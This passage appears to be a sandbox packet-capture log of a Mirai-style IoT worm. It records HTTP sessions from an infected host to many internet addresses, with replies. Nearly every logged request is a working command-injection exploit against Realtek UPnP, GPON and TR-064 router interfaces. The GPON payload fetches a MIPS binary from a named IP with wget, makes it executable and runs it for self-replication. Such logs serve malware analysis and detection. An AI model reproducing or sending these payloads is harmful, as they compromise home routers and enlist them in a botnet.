<h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.13	40658	81.199.207.140	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:23.274446964 CEST	906	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:52:24.352520943 CEST	906	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.13	47698	45.171.26.148	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:23.275654078 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:23.580279112 CEST	64	IN	HTTP/1.1 400 Bad Request Connection: Keep-Alive
Apr 15, 2024 08:52:23.580729961 CEST	17	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.13	45238	181.164.242.11	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:23.278624058 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.13	46754	175.249.156.218	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:23.281053066 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:24.800463915 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:25.096441984 CEST	97	IN	HTTP/1.1 401 Unauthorized Date: Mon, 15 Apr 2024 06:52:24 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.13	35226	34.252.174.62	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:23.292107105 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:23.599843025 CEST	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Mon, 15 Apr 2024 06:52:23 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.13	56436	106.14.44.50	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:23.292671919 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:23.604754925 CEST	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Apr 2024 06:52:23 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.13	53126	96.17.253.183	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:23.328919888 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:23.681525946 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Mon, 15 Apr 2024 06:52:23 GMT Date: Mon, 15 Apr 2024 06:52:23 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 64 34 31 31 61 34 36 65 26 23 34 36 3b 31 37 31 33 31 36 33 39 34 33 26 23 34 36 3b 32 37 66 32 39 30 37 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 64 34 31 31 61 34 36 65 26 23 34 36 3b 31 37 31 33 31 36 33 39 34 33 26 23 34 36 3b 32 37 66 32 39 30 37 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.d411a46e.1713163943.27f2907<P>https://errors.edgesuite.net/9.d411a46e.1713163943.27f2907</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.13	34092	177.95.223.240	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:23.351517916 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.13	54068	93.81.145.250	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:23.424727917 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:23.798120975 CEST	125	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Mon, 15 Apr 2024 09:52:22 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.13	59420	175.194.152.91	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:23.439266920 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:24.992474079 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:26.852459908 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:30.560484886 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:37.984477997 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:52.832439899 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
